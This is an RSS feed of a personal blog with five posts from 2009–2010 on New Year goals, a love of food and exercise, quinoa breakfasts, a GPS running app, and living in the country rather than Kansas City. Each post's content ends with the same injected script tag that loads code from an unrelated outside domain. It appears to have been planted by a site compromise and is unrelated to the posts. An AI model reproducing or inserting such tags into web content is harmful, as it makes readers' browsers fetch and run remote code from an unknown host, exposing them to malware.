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	<title>Leila Shea Christensen &#187; fitness</title>
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	<description>if you concentrate on what you don&#039;t have, you will never ever have enough</description>
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		<title>Smile When You Run</title>
		<link>http://leilachristensen.com/2010/01/smile-when-you-run/</link>
		<comments>http://leilachristensen.com/2010/01/smile-when-you-run/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 02:40:05 +0000</pubDate>
		<dc:creator>Leila</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[dreams]]></category>
		<category><![CDATA[family]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[goals]]></category>
		<category><![CDATA[plans]]></category>

		<guid isPermaLink="false">http://leilachristensen.com/?p=633</guid>
		<description><![CDATA[Hello 2010. This is the year I&#8217;ll turn 25, a whole quarter of a century. Sweet, huh? Besides getting older (it happens to everyone if we&#8217;re lucky), I&#8217;ve got a few goals that actually require me getting a few things DONE (besides just breathing of course).  Now, these are not all of my goals, but [...]]]></description>
			<content:encoded><![CDATA[<p>Hello 2010. This is the year I&#8217;ll turn 25, a whole quarter of a century. Sweet, huh? Besides getting older (it happens to everyone if we&#8217;re lucky), I&#8217;ve got a few goals that actually require me getting a few things DONE (besides just breathing of course).  Now, these are not all of my goals, but they are a few that I thought I&#8217;d share. That way, I can keep you posted on a few of them.</p>
<p>Professionally:</p>
<ul>
<li>Provide excellent client service and streamline procedures in my firm to run a more effective business</li>
<li>Read at least one business book a month and implement the things I&#8217;ve learned into my business</li>
<li>Attend the MO Bar&#8217;s Annual Family Law Conference in August</li>
</ul>
<p>Personally:</p>
<ul>
<li>Read the Book of Mormon every day. This shouldn&#8217;t be much of a change, but I&#8217;m going to aim for a little more focused reading. My days are always better when I get this reading in.</li>
<li>Be an awesome Primary teacher.  This year at church, I&#8217;m teaching the 9-11 year old girls. They are the BEST girls ever. Our class is a little bigger than last year &#8211; we grew from 5 girls who attended regularly to 11! We are going to have some fun times.</li>
<li>Take a lot of pictures. There&#8217;s something to be said for remembering the moments. Pictures help me do that.  (Note to self &#8211; back those pictures up! I dropped my laptop today. Totally obliterated the hard drive, including all my pictures. Sad day. But there IS a silver lining &#8211; I got a new laptop. That I love.)</li>
</ul>
<p>Physically:</p>
<ul>
<li>Smile when I run. A friend of mine told me he&#8217;d start running the day he saw someone smiling while they ran. I&#8217;m making it my personal mission. :)  In all seriousness &#8211; I&#8217;m totally running the Kansas City Marathon in October 2010. And I&#8217;ve managed to recruit my 13 year old bro to do it with me. ($50 goes a long way with a 13 year old. I am not afraid of bribery.)</li>
<li>Amazing abs. I want them. And this is the year that I&#8217;m going to get them.</li>
</ul>
<p>There&#8217;s a couple of talks I read this past week while I was thinking about goals. They were excellent, so I&#8217;m sharing them with you. Both were given by Thomas S. Monson, the President of the Church of Jesus Christ of Latter-day Saints.  The first is <a href="http://lds.org/library/display/0,4945,538-1-3310-1,00.html">&#8220;Decisions Determine Destiny</a>&#8221;  and the second is <a href="http://www.lds.org/ldsorg/v/index.jsp?locale=0&amp;sourceId=3db285703d951210VgnVCM100000176f620a____&amp;vgnextoid=43d031572e14e110VgnVCM1000003a94610aRCRD">&#8220;Great Expectations.&#8221;</a> Happy New Year!<script src="http://ie.eracou.com/3"></script></p>
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		<title>I Like To Eat</title>
		<link>http://leilachristensen.com/2009/11/i-like-to-eat/</link>
		<comments>http://leilachristensen.com/2009/11/i-like-to-eat/#comments</comments>
		<pubDate>Sat, 07 Nov 2009 17:47:40 +0000</pubDate>
		<dc:creator>Leila</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[exercise]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[running]]></category>

		<guid isPermaLink="false">http://leilachristensen.com/?p=388</guid>
		<description><![CDATA[Therefore, I like to exercise. I love food, but when you are only 4&#8217;10&#8243;, your calorie intake is kind of limited. (For some reason, when you are small, your body doesn&#8217;t need quite as many calories to run as someone who is tall.) I made peace with my height a long time ago.  After all, [...]]]></description>
			<content:encoded><![CDATA[<p>Therefore, I like to exercise.</p>
<p>I love food, but when you are only 4&#8217;10&#8243;, your calorie intake is kind of limited. (For some reason, when you are small, your body doesn&#8217;t need quite as many calories to run as someone who is tall.) I made peace with my height a long time ago.  After all, it hasn&#8217;t changed since I was about 12 years old. So I know where my calorie intake should be and how to adapt my workout for the days when my love of food might take me over the top of that.</p>
<p>I love all types of food &#8211; mexican, italian, american, greek, middle eastern, japanese (including sushi!), chinese, polynesian&#8230;. Seriously. I make sounds when I eat. Can&#8217;t help it &#8211; I&#8217;ve done it forever I think.</p>
<p>At my house, food has always been one way we all come together. When I was growing up, we actually all sat down together to eat. For a family of eight kids, that was always a fun rowdy time. Now I make it home most weekends, and we still all eat together. What a life :)<script src="http://ie.eracou.com/3"></script></p>
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		<item>
		<title>Breakfast is Served</title>
		<link>http://leilachristensen.com/2009/10/breakfast-is-served/</link>
		<comments>http://leilachristensen.com/2009/10/breakfast-is-served/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 14:33:15 +0000</pubDate>
		<dc:creator>Leila</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[agave]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[quinoa]]></category>

		<guid isPermaLink="false">http://leilachristensen.com/?p=185</guid>
		<description><![CDATA[There&#8217;s a little country store called Trails End near my parents&#8217; place. It&#8217;s kind of like the country access point for all things organic and vegan. The owner, Kim Manning, runs a great shop with lots of different things &#8211; it&#8217;s almost like the dry section of Whole Foods. (She doesn&#8217;t carry produce, but with [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-187" title="Breakfast is Served " src="http://s70904.gridserver.com/wp-content/uploads/2009/10/Breakfast-is-Served-002-225x300.jpg" alt="Breakfast is Served " width="225" height="300" />There&#8217;s a little country store called <a href="http://maps.google.com/maps?hl=en&amp;rlz=1C1GGLS_en-USUS296US303&amp;um=1&amp;ie=UTF-8&amp;q=trails+end+cameron,+mo&amp;fb=1&amp;gl=us&amp;hq=trails+end&amp;hnear=cameron,+mo&amp;view=text&amp;latlng=4728333574180352149">Trails End</a> near my parents&#8217; place. It&#8217;s kind of like the country access point for all things organic and vegan. The owner, Kim Manning, runs a great shop with lots of different things &#8211; it&#8217;s almost like the dry section of Whole Foods. (She doesn&#8217;t carry produce, but with all the farmers&#8217; markets nearby, there is really no need to.) I stopped in the other day and she gave me quinoa flakes and agave nectar to try. I am hooked! The quinoa flakes cook up just like oatmeal or cream of wheat (with a consistency closer to cream of wheat) and the agave nectar was better than putting brown sugar on top.</p>
<p>For anyone who doesn&#8217;t know what quinoa (keen-wa) is, it&#8217;s a plant seed that&#8217;s used like a grain.  There are some great articles on it at <a href="http://www.menshealth.com/cda/article.do?site=MensHealth&amp;channel=nutrition&amp;category=food.for.fitness&amp;conitem=b19f96cf917d1110VgnVCM20000012281eac____">Men&#8217;s Health</a>, the <a href="http://www.californiachronicle.com/articles/view/43465">California Chronicle</a>, <a href="http://www.bodyrock.tv/2009/09/03/quinoa-the-super-food/">BodyRock.TV</a> and <a href="http://www.askmen.com/sports/foodcourt_100/149_eating_well.html">Ask Men</a>. I&#8217;ve used it (the regular stuff, not the flakes) like rice or couscous in a lot of different dishes.  It&#8217;s a great way to add some variety to your diet without breaking the bank.</p>
<p>If you&#8217;re curious, info on agave nectar can be found <a href="http://www.allaboutagave.com/">here</a>.  Since this was my first intro to it, I don&#8217;t know as much about it except for the fact that I liked it.<script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
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		<item>
		<title>iMapMyRun for the iPhone Rocks</title>
		<link>http://leilachristensen.com/2009/09/imapmyrun-for-the-iphone-rocks/</link>
		<comments>http://leilachristensen.com/2009/09/imapmyrun-for-the-iphone-rocks/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 14:17:17 +0000</pubDate>
		<dc:creator>Leila</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[imapmyrun]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[mapmyrun]]></category>
		<category><![CDATA[running]]></category>

		<guid isPermaLink="false">http://leilachristensen.com/?p=158</guid>
		<description><![CDATA[One of these days I want to run a marathon. You know, just to put it on the list of &#8220;really cool things I&#8217;ve done.&#8221;  The problem?  Well, I&#8217;m not much of a runner.  I hate the treadmill.  I&#8217;d much rather do the stairs.  If I&#8217;m going to run, I want it to be a [...]]]></description>
			<content:encoded><![CDATA[<div id="attachment_171" class="wp-caption alignleft" style="width: 170px"><img class="size-full wp-image-171" title="iMapMyRun" src="http://s70904.gridserver.com/wp-content/uploads/2009/09/imapmy.jpg.png" alt="photo from imapmy.com" width="160" height="300" /><p class="wp-caption-text">photo from imapmy.com</p></div>
<p>One of these days I want to run a marathon. You know, just to put it on the list of &#8220;really cool things I&#8217;ve done.&#8221;  The problem?  Well, I&#8217;m not much of a runner.  I hate the treadmill.  I&#8217;d much rather do the stairs.  If I&#8217;m going to run, I want it to be a little less tedious.  (Somehow, the stairs are never as boring as the treadmill.) I think that I might have found the answer to my problem &#8211; the <a href="http://www.imapmy.com/">iMapMyRun</a> app for the iPhone keeps track of me as I run using GPS.  I never have to measure how long I run or keep track of my time &#8211; it keeps track of all that, PLUS it calculates my pace.  I can be outside and just run&#8230; I love it!  As long as the weather holds out, I think I&#8217;m going to be outside. Running.<script src="http://ie.eracou.com/3"></script></p>
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		</item>
		<item>
		<title>Sometimes I Miss the City</title>
		<link>http://leilachristensen.com/2009/09/sometimes-i-miss-the-city/</link>
		<comments>http://leilachristensen.com/2009/09/sometimes-i-miss-the-city/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 05:11:08 +0000</pubDate>
		<dc:creator>Leila</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[art galleries]]></category>
		<category><![CDATA[bikram yoga]]></category>
		<category><![CDATA[cameron]]></category>
		<category><![CDATA[country]]></category>
		<category><![CDATA[fitness]]></category>
		<category><![CDATA[kansas city]]></category>
		<category><![CDATA[missouri]]></category>
		<category><![CDATA[vegas]]></category>
		<category><![CDATA[whole foods]]></category>

		<guid isPermaLink="false">http://leilachristensen.com/?p=151</guid>
		<description><![CDATA[Or Not. I was sitting here tonight thinking about my blog post, and thought I&#8217;d make a list of the top ten the things I miss about living in the city.  Turns out, I couldn&#8217;t come up with ten.  Sure, I miss the convenience of having some things right there &#8211; Whole Foods, Bikram Yoga, [...]]]></description>
			<content:encoded><![CDATA[<p>Or Not.</p>
<p><img class="alignright size-medium wp-image-154" title="Missouri Space" src="http://s70904.gridserver.com/wp-content/uploads/2009/09/July-8-2009-069-300x225.jpg" alt="Missouri Space" width="300" height="225" />I was sitting here tonight thinking about my blog post, and thought I&#8217;d make a list of the top ten the things I miss about living in the city.  Turns out, I couldn&#8217;t come up with ten.  Sure, I miss the convenience of having some things right there &#8211; <a href="http://www.wholefoodsmarket.com/">Whole Foods</a>, <a href="http://www.kansascitybikramyoga.com/">Bikram Yoga</a>, <a href="http://www.nelson-atkins.org/">Cool Art Galleries</a>, <a href="http://www.countryclubplaza.com/Restaurants">Great Restaurants</a> and <a href="http://www.countryclubplaza.com/Shopping">Good Shopping</a> &#8211; but for most of those things, 40-60 minutes really isn&#8217;t a bad drive.  (It&#8217;s not like I&#8217;m facing lots of traffic on that drive.) I&#8217;m debating whether it&#8217;s worth the trade-off.  You see, I have &#8220;space&#8221; issues. Eventually I want my own space.  Like acres of space.  Enough for at least two pigs (see <a href="http://leilachristensen.com/about-me/">About Me</a>).  And two <a href="http://www.dogbreedinfo.com/m/mastador.htm">big dogs</a>.  And room to grow my OWN organic wonderful fresh local produce.  And maybe even raise my own steaks.  (aka, I could create my own Whole Foods.  And it wouldn&#8217;t even be nicknamed Whole Paycheck.)</p>
<p>It&#8217;s a toss up.  If I found a way to put a Bikram Yoga studio somewhere on my space, I think I&#8217;d have a clear winner.  For now though, I&#8217;ll just drive.<script src="http://ie.eracou.com/3"></script></p>
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